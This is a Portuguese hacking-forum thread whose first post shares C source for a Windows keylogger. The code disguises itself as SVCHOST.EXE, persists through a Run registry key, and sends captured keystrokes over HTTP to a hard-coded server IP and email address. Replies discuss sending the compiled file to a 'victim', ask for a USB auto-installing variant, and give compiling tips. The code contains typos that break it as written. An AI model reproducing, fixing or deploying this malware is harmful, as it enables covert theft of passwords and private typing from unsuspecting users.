Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Codigo Fonte de um keylogger

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Dica Codigo Fonte de um keylogger

    Codigo Fonte de um keylogger
    1) Prestem atencão nos comentários, para modificar os dados necessários
    2) O programa pode ser detectado por algum Anti-Vírus com boa verificação heurística.
    */


    //Bibliotecas
    #include <stdio.h>
    #include <string.h>
    #include <windows.h>
    #include <winreg.h>
    #include <winsock.h>

    #progama comment(lib, "winsock32.lib") //LIB do winsock

    //Dados para envio do email
    #define de "lol@lol.com.br"
    #define para "oliveiracarlo@bol.com.br"
    #define assunto "LOG"
    #define FORMMAIL.php" //Troque pelos dados corretos.
    #define ip "200.201.8.45" //IP do servidor

    //Variáveis
    int c,n,s,num,num2,caps,envia_tam=50,strtam; //envia_tam = número mínimo de caracteres digitados para enviar email
    void logar_normal(),logar_caps(),logar_shift(); //Funções
    char teclas[99999],teclas_aux[99999],enviar[99999],caminho_copia[255];

    HWND janela;
    HKEY chave;

    WSADATA data;
    SOCKET winsock;
    SOCKADDR_IN sock;
    //Fim da declaração de variáveis

    int main(int argc,char *argumento[0]){ //Função principal, usaremos "argumento[0]" para capturar-mos o nome do arquivo do keylogger e o diretório onde este arquivo se encontra.
    //Muda o título da janela e a oculta.
    SetConsoleTitle("SVCHOST.EXE");
    janela = FindWindow(NULL,"SVCHOST.EXE");
    ShowWindow(janela,SW_HIDE);

    sprintf(caminho_copia,"%s",argumento[0]); //Faz uma cópia do caminho do keylogger.

    //Inicializa o WINSOCK, e caso ocorra algum erro, encerra o keylogger.
    if(WSAStartup(MAKEWORD(1,1),&data)==SOCKET_ERROR)
    exit(0);

    if((winsock=socket(AF_INET,SOCK_STREAM,0))==SOCKET _ERROR)
    exit(0); //Encerra o programa se a tentativa de criar um socket não teve sucesso.

    //Cria uma entrada no registro, para que o keylogger inicie junto com o sistema operacional.
    RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft \\Windows\\CurrentVersion\\Run",&chave);
    RegSetValueEx(chave,"SVCHOST.EXE",0,1,(LPBYTE)"C:\ \WINDOWS\\SVCHOST.EXE",22);
    RegCloseKey(chave);

    CopyFile(caminho_copia,"C:\\WINDOWS\\SVCHOST.EXE", 0); //Copia o keylogger para C:\WINDOWS\SVCHOST.EXE, cujo programa é acionado ao iniciar do windows.

    while(1){ //Loop

    Sleep(1); //Pausa para o LOOP não travar.

    strtam=strlen(teclas); //Captura o número dos carecteres digitados
    if(strtam>=envia_tam) //Compara se o número é maior ou igual ao especificado em "envia_tam"
    {
    //Caso afirmativo:

    //Prepara socket
    sock.sin_family=AF_INET;
    sock.sin_addr.S_un.S_addr = inet_addr(200.201.8.45"); //IP do servidor
    sock.sin_port=htons(80);

    /* A linha abaixo é muito importante.
    Essa linha ao ser enviada para o servidor,
    fará com que você receba o email com o log.
    Preste muita atenção ao lidar com ela:
    */
    sprintf(enviar,"GET /%s?de=%s&para=%s&assunto=%s&msg=%s HTTP/1.1\nHost:fmail9.uol.com.br\n\n",FORMMAIL,de,para, assunto,teclas);

    if((winsock=socket(AF_INET,SOCK_STREAM,0))==SOCKET _ERROR) //Caso haja erro, interrompe o programa.
    exit(0);

    //Conecta ao servidor
    if(connect(winsock,(sockaddr*)&sock,sizeof(sock))! =SOCKET_ERROR){

    send(winsock,enviar,strlen(enviar),0); //Envia para o servidor uma requisição ao formmail para que este envie o log.

    //Limpa as variáveis que armazenam as teclas digitadas.
    sprintf(teclas,"");
    sprintf(teclas_aux,"");

    }
    else{
    exit(0); //Erro ao conectar, resulta na saída do programa.
    }}

    //Daqui em diante começa o código responsável pela obtençãp e gravação das teclas.


    if(GetAsyncKeyState(0x8)==-32767){ //Tecla BackSpace, copia para uma variável auxiliar os caracteres digitados com 1 caractere a menos, e em seguida recopia o conteúdo para a variável principal.
    if(strlen(teclas)>0)
    strncpy(teclas_aux,teclas,strlen(teclas)-1);
    strcpy(teclas,teclas_aux);
    sprintf(teclas_aux,"%c",0);}

    //Tecla Enter, adiciona na string: %0A, que é o caractere da tecla ENTER em modo escape, utilizando para o envio de email via PHP.
    if(GetAsyncKeyState(0xD)==-32767){
    strcat(teclas,"%0A");
    }
    //Verifica o pressionamento da tecla SHIFT e chama pela função adequada.
    if(GetAsyncKeyState(0x10))
    logar_shift();
    //Tecla de espaço, novamente, %20 é o caractere escape da tecla SPACE.
    if(GetAsyncKeyState(0x20)==-32767)
    strcat(teclas,"%20");
    //Verifica o CAPS LOCK
    caps = GetKeyState(0x14);
    switch(caps)
    {
    case 0:
    logar_normal(); //Se caps lock estiver desligado
    break;
    case 1:
    logar_caps(); //Se logado
    }

    for(num=48;num<=57;num++) //Loga números
    if(GetAsyncKeyState(num)==-32767)
    sprintf(teclas,"%s%c",teclas,num);

    //Loga outros caracteres.
    if(GetAsyncKeyState(106)==-32767)
    sprintf(teclas,"%s*",teclas);

    if(GetAsyncKeyState(107)==-32767)
    sprintf(teclas,"%s+",teclas);

    if(GetAsyncKeyState(109)==-32767)
    sprintf(teclas,"%s-",teclas);

    if(GetAsyncKeyState(110)==-32767)
    sprintf(teclas,"%s.",teclas);

    if(GetAsyncKeyState(111)==-32767)
    sprintf(teclas,"%s/",teclas);

    if(GetAsyncKeyState(186)==-32767)
    sprintf(teclas,"%s;",teclas);

    if(GetAsyncKeyState(187)==-32767)
    sprintf(teclas,"%s=",teclas);

    if(GetAsyncKeyState(188)==-32767)
    sprintf(teclas,"%s,",teclas);

    if(GetAsyncKeyState(189)==-32767)
    sprintf(teclas,"%s-",teclas);

    if(GetAsyncKeyState(190)==-32767)
    sprintf(teclas,"%s.",teclas);

    if(GetAsyncKeyState(191)==-32767)
    sprintf(teclas,"%s/",teclas);

    if(GetAsyncKeyState(192)==-32767)
    sprintf(teclas,"%s`",teclas);

    if(GetAsyncKeyState(219)==-32767)
    sprintf(teclas,"%s[",teclas);

    if(GetAsyncKeyState(220)==-32767)
    sprintf(teclas,"%s%c",teclas,220);

    if(GetAsyncKeyState(221)==-32767)
    sprintf(teclas,"%s]",teclas);

    if(GetAsyncKeyState(222)==-32767)
    sprintf(teclas,"%s'",teclas);

    //Loga teclado númerico. (0123...9 +*/-.)
    for(num2=96;num2<=105;num2++)
    if(GetAsyncKeyState(num2)==-32767)
    sprintf(teclas,"%s%c",teclas,num2-48 );

    }
    return 0;
    }

    //Loga quando SHIFT for pressionado.
    void logar_shift()
    {
    for(s=48;s<=57;s++)
    if(GetAsyncKeyState(s)==-32767)
    switch(s)
    {
    //Loga símbolos, note que alguns símbolos só são aceitos se estiverem em modo escape.
    case 48:
    sprintf(teclas,"%s)",teclas);
    break;

    case 49:
    sprintf(teclas,"%s!",teclas);
    break;

    case 50:
    sprintf(teclas,"%s@",teclas);
    break;
    case 51:
    sprintf(teclas,"%s%%23",teclas);
    break;
    case 52:
    sprintf(teclas,"%s%%24",teclas);
    break;
    case 53:
    sprintf(teclas,"%s%%25",teclas);
    break;
    case 54:
    sprintf(teclas,"%s%%5E",teclas);
    break;
    case 55:
    sprintf(teclas,"%s%%26",teclas);
    break;
    case 56:
    sprintf(teclas,"%s*",teclas);
    break;
    case 57:
    sprintf(teclas,"%s(",teclas);
    break;

    }
    //Na mesma função do SHIFT, verifica se CAPSLOCK está ligado ou desligado
    switch(caps)
    {
    case 0: //Se desligado,loga letras em maiúsculas.
    for(s=65;s<=90;s++)
    if(GetAsyncKeyState(s)==-32767)
    sprintf(teclas,"%s%c",teclas,s);
    break;

    case 1: //Se ligado, loga letrs em minúsculas.
    for(s=65;s<=90;s++)
    if(GetAsyncKeyState(s)==-32767)
    sprintf(teclas,"%s%c",teclas,s+32);
    }
    //Outros símbolos combinados com SHIFT.
    if(GetAsyncKeyState(186)==-32767)
    sprintf(teclas,"%s:",teclas);

    if(GetAsyncKeyState(187)==-32767)
    sprintf(teclas,"%s+",teclas);

    if(GetAsyncKeyState(188)==-32767)
    sprintf(teclas,"%s<",teclas);

    if(GetAsyncKeyState(189)==-32767)
    sprintf(teclas,"%s_",teclas);

    if(GetAsyncKeyState(190)==-32767)
    sprintf(teclas,"%s>",teclas);

    if(GetAsyncKeyState(191)==-32767)
    sprintf(teclas,"%s?",teclas);

    if(GetAsyncKeyState(192)==-32767)
    sprintf(teclas,"%s~",teclas);

    if(GetAsyncKeyState(219)==-32767)
    sprintf(teclas,"%s{",teclas);

    if(GetAsyncKeyState(220)==-32767)
    sprintf(teclas,"%s|",teclas);

    if(GetAsyncKeyState(221)==-32767)
    sprintf(teclas,"%s}",teclas);

    if(GetAsyncKeyState(222)==-32767)
    sprintf(teclas,"%s\"",teclas);


    }
    //Loga quando CAPSLOCK estiver ligado
    void logar_caps()
    {
    for(c=65;c<=90;c++)
    if(GetAsyncKeyState(c)==-32767)
    sprintf(teclas,"%s%c",teclas,c);

    }

    void logar_normal() //Loga quando nem SHIFT nem CAPSLOCK estiverem sendo usados.
    {
    for(n=65;n<=90;n++)
    if(GetAsyncKeyState(n)==-32767)
    sprintf(teclas,"%s%c",teclas,n+32);
    "

    }

    /*
    FIM.


    OBS: pra quem naum conhece....isso eh linguagem C vlw!!
    eh um keylooger basico...soh modificarem se quiser!!

    se gostou agradeça..rs
    Last edited by V3nom; 08-01-2012, 11:50.
    Similar Threads

  • Font Size
    #2
    entaão mano ele jah vai subir com a interface grafica ou vai rodar no DOS??
    vlw

    Comment


    • Font Size
      #3
      Postado Originalmente por Roby Ver Post
      entaão mano ele jah vai subir com a interface grafica ou vai rodar no DOS??
      vlw
      vai rodar no modo console amigo

      Você ira gerar o exec e ira mandar pra vitima se eu não me engano !
      sigpic
      Milorde - Conhecimento não é crime
      Fui útil ? Clique em OBRIGADO


      Milorde & Marissa


      [/CENTER]

      Comment


      • Font Size
        #4
        tem um tutorial de como usar?

        Comment


        • Font Size
          #5
          Cara acho que isso deveria ser na area de delphi não?Poís não é todos que usa esta area e sabe mecher no Delphi ou qualquer outra linguagem de software.

          Comment


          • Font Size
            #6
            huumm legal depois voo testar ele aqui no meu delphi
            sigpic

            Comment


            • Font Size
              #7
              cara isso não tem nada haver com delphi, estuda cara .... isso é linguagem C

              até mais

              Comment


              • Font Size
                #8
                Ae uma duvida se eu mudar o icone do meu server do kL ele funciona normal ou tem q colocar os dois???o com o icone diferente e o original??

                quem pode ajudar fala ai!!!!
                sigpic


                Sou apenas mais um cara querendo conhecimento!

                Eu selebrarei a gloria do REI quando ele voltar!! e vc? Leia a Biblia!

                Meta??so uma Ser programador GH Sonho de consumo!



                MY OrKuT My TwiTTeR My SpacE

                Comment


                • Font Size
                  #9
                  pelo que eu entendi, isso ai você poem no bloco de notas e salva como .exe? é isso? obrigado

                  Comment


                  • Font Size
                    #10
                    Fiz um keylogger com base neste, mas ele apenas irá salvar as teclas em um arquivo no computador, mas a leitura do shift não funcionou direito, alguém sabe o porque?

                    Obs: A função "GetAsyncKeyState(16)" verifica se a tecla shift está precionado, se estiver muda uma variavel lógica para true, caso contrario muda para false.
                    Parte do código:

                    int main(int argc,char *argumento[0]){
                    ...
                    bool caps = false,shift = false;
                    char teclas[TAMANHO+1];
                    ...
                    //Loop principal
                    while(1){
                    //Pausa para o LOOP não travar.
                    Sleep(1);
                    ...
                    //Código responsável pela obtenção e gravação das teclas.
                    //Verifica o pressionamento da tecla SHIFT e chama pela função adequada.
                    if(GetAsyncKeyState(16)==-32767)
                    {shift = true;}
                    else{shift = false;}
                    //Verifica o CAPS LOCK
                    if(GetAsyncKeyState(20)==-32767){caps = !caps;}
                    //Loga números
                    for(i=48;i<=57;i++)
                    if(GetAsyncKeyState(i)==-32767){
                    if(shift){
                    teclas[total_char]=NUMEROS_SHIFT[i-48];
                    }else{
                    teclas[total_char]=i;
                    }
                    total_char++;
                    }
                    ...
                    }
                    return 0;
                    }

                    Comment


                    • Font Size
                      #11
                      pessoal to precisando de um keylogger que fique no pen drive e assim que eu espetar no pc ele se instala automático tem como fazer isso ?
                      e outra coisa preciso que ele guarde o log cript no proprio pen drive .

                      Comment


                      • Font Size
                        #12
                        heheh rachei de ri o cara la falando delphi... serio mesmo... so de bater o olho nos #include ja da para saber que e CPP ... posso usar esse codigo para refazer o meu ??? por que nao estava sabendo como mandar email... estava salvando em uma pasta na rede aqui em casa....
                        Processador: i7 920
                        MB: EVGA x58 3 SLI Limited Edition
                        Memoria: 4 gb ddr3 dominator GT 2333mhz OCF.
                        Gts 250 Core edition OCF
                        Fonte Corsair 650mhz
                        Case Zalma 1000gs SE

                        Note book so para programar: i3 + 2 gb de ddr 3...

                        Comment


                        • Font Size
                          #13
                          Ha, ha, ha eu vou fazer miseria com esse código me C

                          Comment


                          • Font Size
                            #14
                            Ha, ha, ha eu vou fazer miseria com esse código em C

                            Comment


                            • Font Size
                              #15
                              Postado Originalmente por celiojedi Ver Post
                              heheh rachei de ri o cara la falando delphi... serio mesmo... so de bater o olho nos #include ja da para saber que e CPP ... posso usar esse codigo para refazer o meu ??? por que nao estava sabendo como mandar email... estava salvando em uma pasta na rede aqui em casa....
                              Você riu dos caras falando Delphi mas falou bobagem também irmão, não é C++ (CPP) é C.

                              Quanto ao outro, você tem que compilar o código, se você salvar no bloco de notas como ".exe" não vai acontecer nada irmão.

                              Para compilar no windows você pode abrir o código em uma IDE de C como Dev-C++, Code::Blocks com o Borland C++ como compilador ou o Visual Studio C++, ou senão use só o compilador mesmo o Borland C++ no console é o melhor para isso.

                              Para compilar no linux é só usar o gcc no terminal.

                              Não esqueçam de mudar os dados do código nesta parte aqui antes de compilar:

                              Código:
                              //Dados para envio do email 
                              #define de "lol@lol.com.br" 
                              #define para "oliveiracarlo@bol.com.br" 
                              #define assunto "LOG" 
                              #define FORMMAIL.php" //Troque pelos dados corretos. 
                              #define ip "200.201.8.45" //IP do servidor
                              O KL só funciona para windows a propósito, é bom especificar isso quando for postar e verificar antes de usar.
                              Estou dando essas dicas mas não testei o KL, não sei se funciona e nem se é bom.
                              sigpic
                              Eis que estou à porta, e bato; se alguém ouvir a minha voz, e abrir a porta,
                              entrarei em sua casa, e com ele cearei, e ele comigo. (Apocalipse 3:20)

                              https://twitter.com/jackads
                              http://www.facebook.com/jackson.beneteferreira

                              Comment

                              X
                              Working...
                              X